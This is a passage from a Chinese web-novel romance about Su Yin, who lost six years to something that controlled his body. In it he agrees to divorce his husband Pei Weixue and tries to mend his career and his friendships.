一次喝酒时,江枝喝多了打趣他是裴未雪的小舔狗,裴未雪坐在一边听见了紧张的望向苏引,又反驳江枝,“他不是!”很激动,又含着担心。
苏引才不管这些,他借着酒意跟江枝拍桌,“枝丫!我就爱当,我乐意,我们家雪儿值得。我就是当他一辈子的舔狗,那也是我的幸福。你有本事找个人舔,看你能舔到什么!”
江枝那会儿装得二五八万,“别惹我发笑,我江枝,我需要舔别人?自荐的从这里排到你家小区门口。”
“你最好是。”
那天晚上是裴未雪第一次跟他生气,从酒吧出来,裴未雪沉着脸,“引哥,以后不要再这么说自己。我不会让你当舔狗的。”
苏引身体歪在他身上,俩人紧紧贴着路边回家,“这样啊?我很想当。”那时裴未雪身体僵了僵,很小声的嘀咕,他侧着脑袋听了两三遍才听清裴未雪说的是什么。
——那我也舔你。
当时他傻得很,又喝多了没太明白什么意思,事后想想,这不就是变相的表白嘛。
看裴未雪神情古怪,他还揽着裴未雪的肩膀说:“你别生气,别生气嘛。”他做了鬼脸凑到裴未雪面前,那也是他第一次见裴未雪翻白眼,“没生气了。”他乐呵呵的惊叹,“雪儿,你翻白眼也好看。”
很简单,很直白的五个字,回想几百遍都觉得甜滋滋的。
裴未雪看起来安静内敛,实则目标很明确,从来不会模棱两可犹豫不决,想要什么,或者不喜欢什么会直接说。
那张总说好听话让他开心的嘴他才只亲了一口!
从回忆抽身,他走进浴室,里里外外重新洗了一遍,边洗边跟自己生气,到底是谁用了他的身体!这六年该不会亲了雪儿很多口吧?!
好生气!
拿起洗洁精往马桶倒。
会不会和雪儿做过更亲密的事?
好生气!
哐当!
刷子用力刷墙壁缝隙,碰到了精油瓶子,瞬间一股雪松香弥漫整个浴室,他一抬手,胳膊撞到花洒开关,被淋成落汤鸡。
“这日子没法过了。”他边呐呐自语边去关花洒。
水从头顶淋下后又弄湿了背后的伤口,又痒又疼。
现在浴室一乱团,比没收拾的时候还乱。
他都没和雪儿有过湿吻,呜呜呜~
外面回家有一会儿的裴未雪听见苏引房间里传来乒乒乓乓的声音,疑惑的放下电脑走过去看,浴室里隐隐约约传出来一阵哭声,他往前走一步,立刻又退回好几步。
走出门口回头看了一眼,径直回到房间把门关上。
哭完的苏引红着鼻子洗澡,洗干净后才去厨房准备晚饭,回家前他还买了一袋猕猴桃,打开冰箱看见里面已经有猕猴桃汁了,应该是老妈拿过来的。他只好放下,准备晚饭。
鉴于裴未雪又开始吃那个药,他从善如流的准备了辅助药膳。
香味飘进房间,裴未雪鼻子动了动,电脑的光映在他脸上,照出他恍惚的神色,好久没吃过那些药膳,他不会煮药膳,每次都是苏引煮的,是为了他的病。
他垂着眸一动不动。
叩叩...
“雪儿,我煮了晚饭,来吃饭啦。有你爱吃的奶油玉米噢。妈还送了猕猴桃汁过来,你快出来吃。”
裴未雪头也没回,不吭声。
苏引敲半天门没得到回应,“你不回答我就开门咯。”没人理他。
他用力转门把手,门反锁了。
苏引:“......”
7. 柒
叮咚~
“外卖!”
苏引开门接过外卖,还没看就被一只手接过,他忙去拉人,“我煮了晚饭,你不想吃我换别的,怎么天天吃外卖?这些盒饭你也吃不了多少。”
裴未雪侧过身,拽回外卖拿到餐桌旁。
“雪儿。”苏引对他真没办法,以前俩人不管怎么样都不会出现冷暴力,现在裴未雪懒得理他,他叹口气坐在裴未雪对面,把炖罐打开舀了一碗出来,“你...别吃那些药,好么?”
裴未雪低头吃盒饭,看一眼推到面前的药膳,药材的味道很浅,几乎被食物的味道盖过,他停了几秒,起身回房,在苏引跟在屁股后面喊他吃饭时拿出打印好的离婚协议拍在苏引胸前,“签了。”
在协议掉落在地前被苏引接住,他翻到最后一页看着上面裴未雪的签名,攥紧又放开,纸张瞬间变得皱巴巴的,他问:“我签了,你发病的时候会让我抱你么?”
“我不住这儿了。”
苏引瞳孔一缩,“你说什么?你要搬去哪里?”他视线落在房间的各个角落,这才发现这间房里很多东西都不见了,原本好好放在床上的雪人玩偶也消失了。
雪人玩偶是裴未雪十三岁时父母送他的礼物,一直带在身边,款式很旧,还有一些缝线的痕迹,睡觉时总要抱着,别人认床,裴未雪认这个抱枕,不抱着完全没办法睡。
裴未雪顺着他的视线看去,见他发现后说:“我晚上就会搬走。”对上苏引顿时泛红的眼睛,他别过头,越过他走出去继续吃饭。
苏引呆呆站了好一会儿才拿着协议和笔走出去,“我签了,可以不搬么?这里也有你的一份,你不该全给我的。”他看着里面的财产分割,心情很复杂,像他们说的,他那样伤害裴未雪,最后裴未雪还分了这么多东西给他,包括这套房。
他转身回自己房间重新想重新拟一份协议,却在电脑桌面发现了一份文件,是他之前拟定的?
打开一看,他差点没把鼠标捏坏。
他竟然要裴未雪净身出户。不是,他怎么敢的?
干脆把文件里的名字换了一下,打印出来后拿去给裴未雪,“雪儿,签这份吧。我同意你想离婚。不过...别搬出去。”
病发时裴未雪会不知疲倦的坐在电脑前写很多很多代码,哪怕那些代码大多数都没什么用,行为也会失控。
别人行为失控时会破坏桌椅,裴未雪却是伤害自己,情绪变得很狂躁,怎么说怎么安抚都没用。
第一次见到裴未雪病发,他差点被裴未雪吓死,明明俩人好好坐在湖边做期末作业。
他的期末作业是交一份最得意的服装设计,认识裴未雪后他就不缠着江枝做模特了,设计完会先给裴未雪穿。
比划着裴未雪的身材,裴未雪也不恼,由着他拉拉扯扯,沉浸式做网站系统。
“雪儿,你还是太瘦了。晚上我去看看还有什么好吃的做给你吃。”苏引拿着软尺量裴未雪的手腕,骨架不小,所以虽然没什么肉也是成年男人的尺寸,量完记录下来。
他经常量裴未雪的三围,美名其曰做衣服用,实则会悄悄对比前几日看有没有胖点。
裴未雪盯着电脑屏幕,看似两耳不闻窗外事,实则句句有回应,“好,我们等会儿去买食材,我跟你学。”
“跟我学干嘛。你吃就好了。”
裴未雪:“也想做给你吃。”
苏引笑得贼高兴,小鸡点头似的同意了,又回去继续画稿。
突然,身边的敲击键盘的声音变得越来越大,吸引了苏引的注意力,他侧过头发现裴未雪脸色苍白,神情奇怪的一直在敲键盘。
“雪儿?”苏引凑过去看,屏幕上的代码填充快得他眼花缭乱,“雪儿?”他抓住裴未雪的肩膀还没拉开,裴未雪一拳头砸在了旁边的石头上,往下一划拉,血瞬间冒了出来。
“雪儿!”苏引惊恐又担心的制止他又一次砸石头的行为,企图叫醒他。
裴未雪撇他的手,朝他吼:“你别管!”他抱起电脑起身快步离开。
苏引追过去被他吼了好几声,他一脸懵逼又不放心,追到裴未雪在学校周边租的小出租屋前,门被关上他进不去只能焦急的敲门。
从来没见过裴未雪这么躁动的样子,是发生什么事了吗?
没过半个小时,裴未雪打开门,脸色透着一股不寻常的苍白,脆弱极了,眼神里带着些许害怕,“对不起。吓到你了吧。”他看着苏引,分不清苏引的脸色好或者不好。
这个病总是会让他无缘无故感到极度亢奋,也会无缘无故发脾气。他刚刚甚至想用力推开苏引,让苏引别挨着他坐,幸好最后扭转过来,把那些情绪发泄在石头上。
“你手还疼么?”苏引怜惜的捧起他的手,“我们回学校医务室包扎一下吧。”这时是上课时间,周围经过的不多,偶有几个都没关注他们。
他没问裴未雪怎么了,只是担心手疼。
闻声裴未雪眼里的害怕被惊愕取而代之,沉默着被苏引带回学校。
从医务室出来裴未雪犹豫再三,做了很大一番心里准备,停住脚步,指尖蜷缩,捻弄衣角,掌心出汗,“苏引,我有精神病。”
他脊背绷直,绷得像一张拉满的弓,看起来像是在等待宣判的犯人,很怕苏引因为这个不继续做他的调色盘,喉结艰难地滚动了一下,“我不是故意隐瞒你,其实我吃药是可以控制的,但是今天忘记吃......”
一大早苏引约他出门,他欣喜赴约,把这么重要的事给忘记,差点酿成大祸。
没住宿舍也是因为这个病可大可小,会影响到同学,他最怕给别人带来麻烦。
所以苏引会讨厌他这个麻烦么。
“吃的是什么药?有没有副作用?去看过心理医生么?医生怎么说?”苏引发出一连串关切的问话,目光黏着裴未雪手伤的手,眼神里的情绪有担心有疑问,唯独没有退缩。
裴未雪仰头看向他,嘴唇紧紧抿着,顿时像泄了气的气球一样,脑袋抵在苏引的肩膀上,小声说:“有副作用,看过医生,医生说最好不要吃。可是我不吃不行。”
苏引轻扶他的脑袋,“给我看看你的药。”老妈是医生,他正好可以问问。
出租屋只有一小间,很小,什么都有,但却很整洁,木桌上放着两罐打开的瓶子,他拿过来看,记住名字发给老妈。
而后他审视屋内的物品,发现许多东西都有不同程度的损坏,可能是还砸东西了。
“你的色盲,和这个有关么?”苏引看见老妈回复的消息,担忧的问。
裴未雪没否认。
那就是有了。
思绪回笼,苏引把协议放到裴未雪面前,轻声问:“好不好?住在一起,我同意离婚。你发病别伤害自己,可以像以前一样,咬我打我骂我。”
他的肩上还有裴未雪留下的牙印,那次咬得很深,也是从那次开始,裴未雪没吃药也能渐渐控制自己。
‘咬我’
裴未雪听到这两个字时显然也记起他把苏引肩膀咬到流血时的兵荒马乱,微微侧过脸,沉默。
“好么?”苏引语气更软,如果没有那六年,他搂着裴未雪嗯哼两声裴未雪立马就答应了,哪像现在这样,问好几遍裴未雪都不理他。
裴未雪拿过协议,飞快浏览,和之前苏引给他的协议一样,只是净身出户的人换成了苏引。
长睫低垂,他接过笔翻到最后一页签下名,“明天九点去拿离婚证。”
“不是,这么快么?”苏引嘴角苦涩的向下撇,满面愁容,眉心紧蹙,“没有这么快吧。”
裴未雪嘴角浮起一丝讥诮,鄙夷的斜睨着:“怎么。后悔净身出户?”
“不不不,不是这个。我是说,领离婚证没那么快吧?”苏引双手来回摇,“我们的结婚证你还贴膜了,是不是最后考察我一下?”他说着说着耸拉下脑袋,想去蹭裴未雪的头发,被瞪一眼后又站直起来。
裴未雪眼神一凛,“你怎么知道结婚证贴膜了?你进我房间乱动?”
苏引理亏的道歉,“是。我就是想知道我们什么时候领证的。”他双手叠着趴在桌面去看裴未雪,“给我一次机会吧。考察我。就...”他思考了一下,“半年时间怎么样?”
“半年时间内,如果我改好了,你也想回心转意的话,我们就离婚怎么样?”他眼中盈满了哀伤,“好不好嘛。”
裴未雪没心情看他演戏,“不好。”他收拾好吃完的盒饭。
“那你要搬哪里去啊?告诉我呗。”苏引心想知道搬去哪里的话,他可以偷偷蹲着。
他拎着垃圾袋起身,苏引鬼鬼祟祟在身后跟着,看裴未雪把垃圾丢在楼到处的垃圾桶里,他又退了两步,裴未雪一眼没看他,径直走到对门。
苏引眼睛一亮,原来是搬去跟老妈住啊,那很近,完全可以接受。
门开后,他朝苏清月叫了一声,“妈。”
苏清月笑着拉过裴未雪,冷漠的看他一眼,在苏引往前一步时把门关上。
苏引:“......”
这日子没法过了!
他游魂似的回家,药膳还放在桌面,有些凉了,他食不知味的一口口吃完。
家里好冷清。
这时候他要么和老妈三个人一起吃晚饭,要么和裴未雪吃完晚饭一起洗碗。
怎么会是他一个人在吃饭啊!
勺子成为他泄愤的目标,被他啪的一声丢进碗里,失去力气往后一靠,看着又熟悉又陌生的家。
不过裴未雪搬到老妈那儿去住是一个好信号。至少不是走得无影无踪,让他没处找。
说明他们之间还有挽回的余地。
说不定老妈还能帮他呢。
另一边,裴未雪和苏清月坐在餐桌旁,桌面放着许多草药干,他把离婚协议内容和苏清月大致说了一下。
苏清月边挑艾草枝边
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点头:“他还算清醒了一点。你不用看我的面子,最重要的是你想怎么做。”
裴未雪也挑掉腐坏的艾草,“我知道的妈。这些要全部挑干净么?想做香包?”
“咱们俩泡泡脚,冬天会暖和点。”
“好。”
冬天时裴未雪手脚总是凉的,不过和苏引认识后苏引经常带他去会所按摩泡脚针灸,缓和很多。
这六年,他也尝试着提起过那些事,想和苏引再去那个会所一起做曾经做过的事,但苏引一直不理他。
“我和他离婚后,可以一直住在妈这边吗?”裴未雪早把苏清月当成亲妈,这些年苏清月为他们操心生了几场不大不小的病,他想住在这里能照顾照顾苏清月。
苏清月说:“当然可以。想住多久住多久。不过...”她又拿了一盆艾草枝,“还是那句话,别看我的面子。他现在回心转意,你顺从自己的心就好。”
“我知道的。”
*
苏引一晚上没睡着,睁着眼睛到天亮,满脑子都在想要怎么办。
没精神的起床准备早餐,跟着减肥菜谱吃了一个玉米两个鸡蛋和半个黄瓜。
玄关有声响,他探出脑袋,对上裴未雪的眼睛,“雪儿!”他忙不迭走过去,“你睡得还好么?”
“拿上身份证。”
苏引脸一下子垮了,慢吞吞,一步走十秒的回屋,好一会儿又挪出去,“我身份证掉了蛤蛤。等补办好再去离婚呗。”
裴未雪拨开他走进去,房间变了样,东西摆放整齐,垃圾桶也很干净,他怔愣一瞬,走到电脑桌直接从一个小雪橇摆件里拿出身份证,“走吧。”
苏引:“......”
走出门几步,裴未雪发现他没跟来,他侧过身静静看他。
苏引迫不得已只能走出去,他最怕裴未雪这种目光,好冷,冷得发抖。
也很残忍。
至少...对完全不知道情况的他来说,相当残忍。
告白接离婚,简直是冰火两重天,是个人都顶不住。
电梯里,苏引瞄着玻璃映照出来的影子,最后光明正大盯着看。
裴未雪目不斜视,声音冷冽:“别耍花招。”他今天必须把离婚证拿到手。
苏引收回目光,“噢。”
出门后裴未雪让他站在原地,不一会儿车在他面前停下,车窗摇下后,裴未雪单手抓着方向盘,“上车。”
苏引拍脑袋,大意了。还想说坐公交或者电动车去民政局还得有一段时间,忽略裴未雪有车这件事。
他慢吞吞,磨磨蹭蹭坐上车,耳边传来裴未雪不耐烦的轻‘啧’。
“你别啧了。”苏引深吸一口气,有气无力地说:“说句老实话,我真的没有那些记忆。我不是假装失忆骗你,是有人....”有人操控我的身体。
“有人什么?”疑惑声响起,苏引才发现后半句话他又说不出去,尝试着想再说还是没有声音。
怎么回事?
裴未雪抓住方向盘的手青筋直接连到了小臂,很清晰,也彰显了他的情绪。他远没有表面上看起来那样无所谓。
期待和苏引结婚有多开心,结婚后那几年就有多痛苦。他只是不想再重蹈覆辙,却不会掩盖他对苏引的感情。
只是,那是二十岁前的苏引,而不算之后。
长长吐出一口浊气,裴未雪气息紊乱,现在上班高峰期,车辆动得很慢,每个红灯都被他撞上了。
苏引一直看着他,敏锐注意到他的呼吸频率不对劲,他从包里拿出一个雪橇模型放在车前,“好看吗?”想转移裴未雪的注意力。
裴未雪看一眼那个模型,心情舒缓不少,他出门前已经吃药了,但是没办法,那个病一旦遇到这种令人烦躁的情况还是会有点情绪外泄。
“这个呢,是我昨天办健身卡的时候,找前台要的奖品。”
“健身卡?”
苏引撑着脑袋去看他,“是啊。”另外一只手拍一下自己的肚皮,“把腹肌练出来。我的腹肌啊。也不知道怎么没了。”
裴未雪冷笑一声,天天宅在家里,喝奶茶喝可乐喝酒,动都不动,还有腹肌才奇怪。他瞥向苏引白白的肚皮,嘴角勾了勾又马上压平。
绿灯后,车辆再次启动,裴未雪发现和苏引说两句玩笑话后心情几乎平静。
苏引拳头捏得咯咯作响,低头对着肚皮怒目:“你要是自己不走,别逼我揍你。”说完还拍了一下,“太可怕了,我一定要重现我漂亮的八块腹肌。”
“臭屁。”
带着温和语气打趣的声音在车厢内响起。
苏引愣愣的抬头去看裴未雪,裴未雪又是冷着脸,他转过头看向窗外,捂住嘴,抑制不住的弯起眼睛笑。
雪儿还会笑话他,太好了。前途也不算太黑暗。
下一秒。
“到了,下车。”
苏引:“......”
8. 捌
民政局的工作人员什么也没问拿着结婚证在电脑上敲敲敲,之后又拿出两本离婚证哐哐盖下章,“好了。”
苏引看着绿色本子惆怅得想死,“最快什么时候能复婚?”
工作人员:“一个礼拜。”一副见惯不惯的模样,甚至没多问。
“那还挺短的,雪儿我们欸?”苏引一转头裴未雪已经走出了大厅,他追出去只吃到了尾气。
跑那么快,像是怕他后悔似的,就这么迫不及待么?
苏引沿着马路边走,一直摸着离婚证上还没完全干透的钢印。
走上天桥,天桥上有个拉二胡的老人家,他听了一会儿越听越心酸,甚至想问问老人家会不会吹唢呐,把他送走得了。
叹口气,拿出手机想给老人家扫点钱过去,毕竟也听了一首二胡演奏。
“谢谢。”老人家看他想扫码给钱,忙道了声谢,结果左等右等没收到钱,“小伙子,一块两块也行。”
苏引看着支付界面提醒‘余额不足’的字样心态快崩了,五十块而已,也余额不足了吗?
无奈只能输入40。
余额不足。
30。余额不足。
20。余额不足。
破罐破摔输入1元。余额不足的字样再次跳出来,苏引再一次生无可恋,合着他银行卡上一毛钱都没有?!
不仅偷走他的六年,还花光他所有的奖金。太过分了!早晚弄死那个人!
尴尬、窘迫。长这么大,苏引还没有过这种情况,他顶着老人家的视线在口袋里摸,昨天出门买菜剩下一点零钱。
摸出一张五元的纸币,放在老人家手里匆匆忙忙跑掉,太社死了。他二十六岁,连四十块都拿不出来。
啊啊啊啊啊啊啊。
到底怎么花的??他的大赛奖金加起来有几十万呢。他急急忙忙蹲坐在路边查流水,查完顿时想死,一两万的手表领带扣等奢侈品消费,几千块的饭店消费。
不是,就这么简简单单把他的钱花光了。
事到如今他只能庆幸没有外债。
叮!
手机屏幕上方跳出一条还款日期的信息,苏引真想把手机砸了。
不仅没钱,还有外债!房子每期付款他都是转给裴未雪,让裴未雪交。
但是六年来,他一笔都没转过。昨天办健身卡的钱还是从亲情卡里出。
给他气得一脚踢飞脚边的塑料袋,结果塑料袋黏在鞋子上怎么踢都踢不掉,他跟塑料袋较劲半天最后还是用手扯掉。
暗无天日。
还是先找个工作赚钱吧。
看着通讯录里老师的电话,不知道‘他’有没有干什么事惹老师生气。
第一次参加服装设计大赛时,国际知名设计师叶琳是裁判,看见他的设计后便收他为弟子。
是他的恩师。毕业前老师说让他跟她出国进修半年,他答应了来着,但现在看来估计是没去。
嘟嘟嘟~
“喂。”
熟悉的声音传来,苏引抓住手机,“老师,是我,苏引。”太好了,老师没拉黑他,有救。
叶琳冷笑一声,“老师?我不敢当。”
苏引:“?”救命,‘他’又干了什么啊!怎么老师也不理他。
“老师。我错了。”苏引认错一向很快,虽然不知道自己做了什么,但现在他想再回到设计界很需要老师的支持。
叶琳阴阳怪气道:“噢?你还知道错?说吧,找我做什么?”
苏引说:“老师,我六年荒废辜负您的期待,我现在想再继续做设计。我关注到下个月海城有一个服装设计大赛,参赛人员规定要有老师指导。老师,您还能指导我么?”
“苏引,六年前你放我鸽子。这六年在给别人当枪手,知道同行怎么说我么?”
老师不在眼前,苏引乖乖低着头,对电话筒小声说:“我、我迷途知返。老师,您还要我这个徒弟么?”
“画三张设计图给我。”叶琳平静地说。
“好!我刚画了一张,马上发给您。谢谢老师。”苏引对着空气鞠躬,把经过的行人吓一跳,他半点没觉得尴尬,沉浸在老师还愿意看他作品的兴奋中。
说明他还是有机会待在设计界的。
收到照片的叶琳拨弄一下长发,放大看了看,一件简约典雅的毛呢衬衫,小V领设计,突出脖颈和肩周处的天鹅曲线,身边的女生仔细看完说:“看来苏引的缪斯回来了。”
苏引听到了声音,惊喜道:“师姐!你跟老师好好说说,我真的知道错了。”
叶琳说:“做好实体衣,后天送到我店里来。”
“好好好。谢谢老师。”
挂掉电话,苏引高兴的朝空气大吼一声,原地跳了起来,有救了有救了。
健身课程结束后,苏引马不停蹄回了家,闯进画室,抱着模型开始做衣服。
量完尺寸拿去裁剪,缝纫机声音dododo的响。
一直响到了天黑。
裴未雪过来搬打印机,听见声音,走到画室门口,顺着缝隙往里看,苏引趴在缝纫机上拿着笔和尺子在忙,身侧的模特身上挂着布料。
塑料模特的腰围比裴未雪略窄一些,以前每次苏引画出新设计图都会来量他的腰围再继续做。
他没多看,搬了打印机转身离开。回到工作室时,又忍不住想知道苏引没找他量三围是不是又给贺南做衣服。
苏引五年多没有碰画板和设计,是遇见贺南后才继续画设计图。
年前生日时,他看苏引在画室埋头苦干,还有些开心,以为苏引终于不再不理他,想给他做新衣服当生日礼物。
结果那件浅灰色小西装最终送到了贺南手上。不得不承认,他很破防。破防到闯进画室,去看衣服尺寸,想质问苏引为什么把送他的礼物拿去给别人。
然而打从一开始,本子上写的尺寸就不是他的。难怪没找他量三围,他只以为苏引重拾旧业,却是一场空欢喜。
突然,手机短信提示音响起。
他看一眼信息,竟然是苏引,头像换成了他们在滑雪场的合照,他差点没认出来。
点进聊天框。
【引哥:雪儿,老师让我送最近设计样板衣服给他,你可以把三围发给我吗,做好了麻烦你做我模特呀[搓手手]】
裴未雪有时候真的很讨厌自己,以为自己绝对不会再为苏引的一举一动伤心,却还是会因为这样一条短信,酸了鼻子。
——“雪儿,你是我的缪斯,这次我的设计理念打动了现场的评委,差一点就不是一等奖啦”
六年前苏引参加的最后一场设计大赛获奖后打了跨洋电话跟他分享喜悦,说了这么一句话。
“你是我的缪斯”这句话苏引不止一次说过,说他很多拿奖的设计灵感都来源于自己。
他很开心,很开心能成为苏引的缪斯、模特。不至于只享受苏引对他的好而无
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法给到同样的反馈。
“裴工。XX企业系统设计的计划书看一下,那边说希望可以简单再简单。”
裴未雪接过助理递来的计划书,上面有许多彩印的照片,各个页面的设计,他看着上面不维和的颜色搭配,又盯着苏引的短信看。
晚上回去再做他的模特吧。
“嗯。这个可以,开始做吧。”系统功能不多,只是简单的录入、查询和搜索功能。
“还有,晚上刘总约了饭局,说想谈谈售后系统的问题。”
裴未雪点头。
下班后,裴未雪拿着钥匙出门,口袋里的手机震动两声,他没看,应该还是苏引的一些碎碎念。
开着车经过贺氏,却突然看见熟悉的身影从里面出来,他脸色瞬间沉了下去,还说要改。
加快油门从苏引身边经过。
匆匆忙忙把设计图全都拿回来的苏引骑着共享单车回家,骑得浑身都是汗。
要不是查手机记录的时候发现被拿了很多设计稿,他才不来这里。
万一被裴未雪发现,肯定会误会他又来找贺南。
见鬼。他连贺南正脸都没见过。
骑到一半,马路旁退回来一辆迈巴赫,他抬头看去,“枝丫!”他马上想停下车,“你载我回家,快!”他现在急得很,裴未雪没回他消息,但衣服还是要做。
“我就知道你贼心不死。刚跟裴未雪离婚就马上来找贺南。你贱不贱啊?”江枝车开得慢,讥讽地说。
苏引停下车,江枝也停下车,“你说话啊。别装死。又去贺南那里说我什么坏话?”
“嗨。”苏引叹气,他揪起背包带,“我只是来拿设计稿的。”他的东西才不会给人做嫁衣。
“你别装了。他现在也在公司。”江枝压根不信。
苏引单手叉腰,“不是。他在公司,你在下面绕圈干嘛?直接去找他啊,跟个鬼一样在周围饶有什么用?”
“嘿?”不说这个还好,一说江枝更气,他推开车门跑到苏引面前,“要不是你我跟他能分?不分我需要求复合?”他气急败坏的指着苏引鼻子骂,“你不当人,还好意思来说我。裴未雪跟你离婚你开心得尾巴都要翘起来了吧?以后可以光明正大缠着贺南。”
“哥。”苏引拍掉面前的手指,一下没拍掉,“哥。”两下没拍掉,拍了好几下放弃,“枝丫!”
听到小名,江枝眼底浮起意外,“你干嘛突然叫我小名?又想耍什么阴招?我是打不过你,但也不会再被你骗!”
“我骗你什么!”苏引跟他对吼,“我干嘛要骗你!我家雪儿谁也比不上,我犯得着么?”
江枝一听也不服气,“你之前还当裴未雪的面说他连贺南的一根脚趾头都比不上,现在就好了?”
“不是我说的!”
“不是你是鬼?你化成灰我都认识你。反正我不会再被你骗。”
苏引心想打探信息的机会不是摆在面前嘛,接着问:“你倒是说我骗你什么啊。”
“你自导自演和贺南一起被绑架,骗我救你!”
苏引:“?”
苏引:“哥们儿,我没这么无聊吧?”
江枝:“你有!你还能蹲在我跟贺南酒店房门口一晚上呢。我跟他上床,你还说想加入玩夹心饼干的游戏。”
苏引:“......”硬了,拳头硬了。
别让他抓到控制他的人,现在揍成猪头没办法解决,要扬了骨灰!
9. 玖
夹心饼干?!绝对不是他说的,他没这种兴趣爱好。
“那你老别装了,赶紧去挽回贺南吧,我不会再缠着他。有什么误会呢你跟我说说,我都能帮你解释。”难的地方就在这儿,他也不知道他究竟都做了什么导致他们分开,其中有多少无法解释的误会他倒是想搞清楚,可是他一点记忆都没有。
想帮忙也无从下手。
江枝转身回车上,“我现在也想明白了。有的人终究是过客。”他长吁短叹的拉上安全带,一转头身边坐下来一位,“谁让你上车的?!”
“载我回家。”苏引系好安全带,低头垂着腿,“累。”来回骑自行车骑得腿麻,六年来一点不锻炼,搞得他现在身体素质很一般。换作以前,围着操场跑三圈他都没什么反应。
加上今天还去健身房两个小时,有氧运动超过了也不好。
“下车。我不载情敌。”江枝手搭在方向盘上,就是不启动。
“什么鸡毛情敌。我从始至终只爱裴未雪。”苏引看一眼周围的提示牌,说:“你应该要收罚单了,这边不能停太久。”
不管控制他的人是怎么喜欢贺南的,不是他干的。
联想那些修仙小说,怀疑过是不是被夺舍,可是签名笔迹和画画笔触都和自己一样,就说不通。最大的可能就是前天想的,被下降头了。
结婚证上的照片里双眼无神,日期和告白时间还那么接近,他哪怕不喜欢裴未雪了也不会那么快就放弃。江枝半年前才回国,贺南也是半年前认识的。
画室里那幅画也是半年前画的。其它设计稿都是这半年来画的,所以前面五年半,他就是混吃等死?不行,得找个大师看看。
话音刚落,江枝手机上就收到罚款和扣分的短信,他瞪了一眼苏引心不甘情不愿的开车,“前面路口你给我下车。”
苏引说:“我不要。你载我回家怎么了?江大少爷还差这点油钱?”
“呵...”江枝冷笑,“我可不敢在你面前装少爷。”
苏引看向他,“好啦。别装了。你想和贺南复合,我可以帮忙。”
江枝脸上的不爽果然褪去一点,侧耳:“怎么帮?”
苏引伸手过去拍了他的嘴巴,“把嘴张开,有误会就解释清楚,别长了张嘴就知道装。”要不是他不知道有什么误会,真想当个喇叭。
欸?当喇叭?是噢。裴未雪现在不理他,变相的家里多了个哑巴,他确实要变成喇叭才可以。这样才能互补。
只是有点难过。
记忆中的裴未雪从来都不是哑巴,很多时候随便说的几句话都能把他钓得死去活来,恨不能锦被翻红浪。偶尔和他吵架,小嘴巴巴的他都吵不过。
怎么会变成现在这样呢。
江枝嗤之以鼻,“我可是江枝!要我低三下四去求和解释,不可能的。凭什么不是他来?虽然有你从中作梗,那他非要相信你也是他的问题吧?”
“噢。你不想低三下四求和,你跑贺南公司附近转圈?”苏引戳穿他的装,他抱着背包往后靠,坐跑车真爽,风一吹,比流汗强多了,等会儿回去不知道雪儿到家没,要再问一下愿不愿意做他模特。
他只记得六年前裴未雪的三围,这么多年肯定有变化,而且裴未雪喜欢穿长风衣,他倒是想用眼睛扫描,扫描不到啊。穿过来后,裴未雪穿着毛衣和长风衣,他看都看不见腰身。
停。苏引,有点猥琐了。别再去想裴未雪的腰身。
江枝可不管他到底走神到什么地方,胳膊一支撑在脑袋上装深沉,“来兜风而已。求和是骗你的。”
“求~和~是~骗~你~的~”苏引阴阳怪气的学了一遍,看江枝满脸想打他的样子,他又立刻举起双手,“开玩笑开玩笑。不过枝丫,你我还不懂么?从小就爱装,你真别装了。我不知道你跟他到底怎么回事,如果真的喜欢,别因为面子错过。”
江枝越听越生气,“是我装吗!始作俑者不还是你?你跟他说那么多我的坏话,他连面都不跟我见,宁愿自己去喝得烂醉拉投资都不用我的钱。”
苏引惊讶道:“我说了什么坏话!”江枝顶多就爱装,就算说他也说不出什么来吧。他们从小一起长大,了解得不能再了解,总不能谎话随口就来吧?
“你跟他说我十六岁就滥交。跟他说我找他是因为他长得像墩儿。”江枝没怎么怀疑苏引一连串的问东问西,只一味的发泄不满。
他也苦啊,就这一个兄弟,交了男朋友第一个介绍给兄弟认识,结果却是这样。
不然他怎么都说不出恩断义绝的话来。苏引真的很仗义,至少在事情发生前他都很在意这个兄弟,否则也不会感情出现问题还跑去问苏引,苏引让他怎么做就怎么做。结果越来越糟糕。
“噗!咳咳咳...”苏引差点被自己的口水噎死,“十六岁就滥交?墩儿?!他哪里长得像了?”
虽然没见过真人,手机里照片那么多,他对贺南长相有一定的了解。哪怕照片和真人有差距肯定也不多。
墩儿是初中转到他们班的一个转校生。人高马大的,家里条件不错,总爱仗着家里欺负人,那时江枝也闹腾,结果被墩儿带人围在厕所里打,他一听说就闯了进去。
因为这事儿,他差点被记大过。墩儿别的地方没什么记忆点,光头,眼皮上有一粒红点,他也不知道是不是痣,看起来狠像。
“等等。”照片里的贺南好像确实眼皮有颗痣,他记不太清了。
江枝冷哼一声,“不然呢?我也不知道他为什么就信你的话。跑来质问我是不是拿他当替身。我拿个屁啊,那个墩儿跟我就不对付。我脑子抽了找他的替身!”
苏引:“......”确实猎奇一点哈。
苏引:“我真该死。”‘他’真该死!留下那么多烂摊子让他收拾。
“你倒也不用死。”江枝看前面红灯缓缓停下车,侧过脸,“苏引。我不知道你到底怎么了。贺南蠢得相信你的挑拨,你想撬我墙角,我可以不跟你计较
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。但是,月姨是你的妈妈啊,你怎么能顶撞她呢?还有裴未雪,我也很搞不懂,你对他的感情我都看在眼里。怎么会说变就变呢?”
“你是不知道,裴未雪两个月前来找过我一次。”
苏引猛抬头,“找你?!说了什么?!关于我的吗?!”
江枝点头,“嗯。求我追回贺南。不然你以为我是那种分手了还会求复合的么?没想到你还是跟他离了婚。你到底在想什么?他是裴未雪呀,是你的缪斯。是你不惜放弃去国外和名师进修也要陪着他把病养好的裴未雪。”
副驾驶上响起一声叹息。
大三时,叶琳问过他要不要去国外进修设计,是顶级学府,要五年,五年后可以直接开个人服装展。那会儿裴未雪色盲还没好,他便拒绝了。
后来老师才退而求其次说毕业后跟她出去半年,他很想去就没再拒绝,心想半年而已,一会儿就过去了。距离毕业还有很长时间,到那时裴未雪色盲肯定好了,他也就没什么顾忌。
放弃那次机会老师说过很多次很可惜,因为机会可遇不可求。可,裴未雪也很需要他呀。裴未雪老家一个能联络的亲戚都没有,一个人住在校外的出租屋,朋友少,同学来往也不多,又是治疗的关键时刻,他真的放不下。
到现在这件事也只有老师和江枝知道,他没告诉过老妈和裴未雪。他不太喜欢“挟恩”,本来就是你情我愿的事。
其实还有点自大心理在作祟,他觉得就算没有那次进修,他照样可以拥有属于自己的个人服装展,可以成为顶尖的服装设计师。
“枝丫。我爱他,从我第一次跟你说我爱上一个人的时候就爱他,没有变过。”苏引不知道该怎么解释那荒唐的六年,离谱的变心和下作的行为,但他唯一能够确定的是,就算是六年后的身体,他的心依旧在为裴未雪跳动。
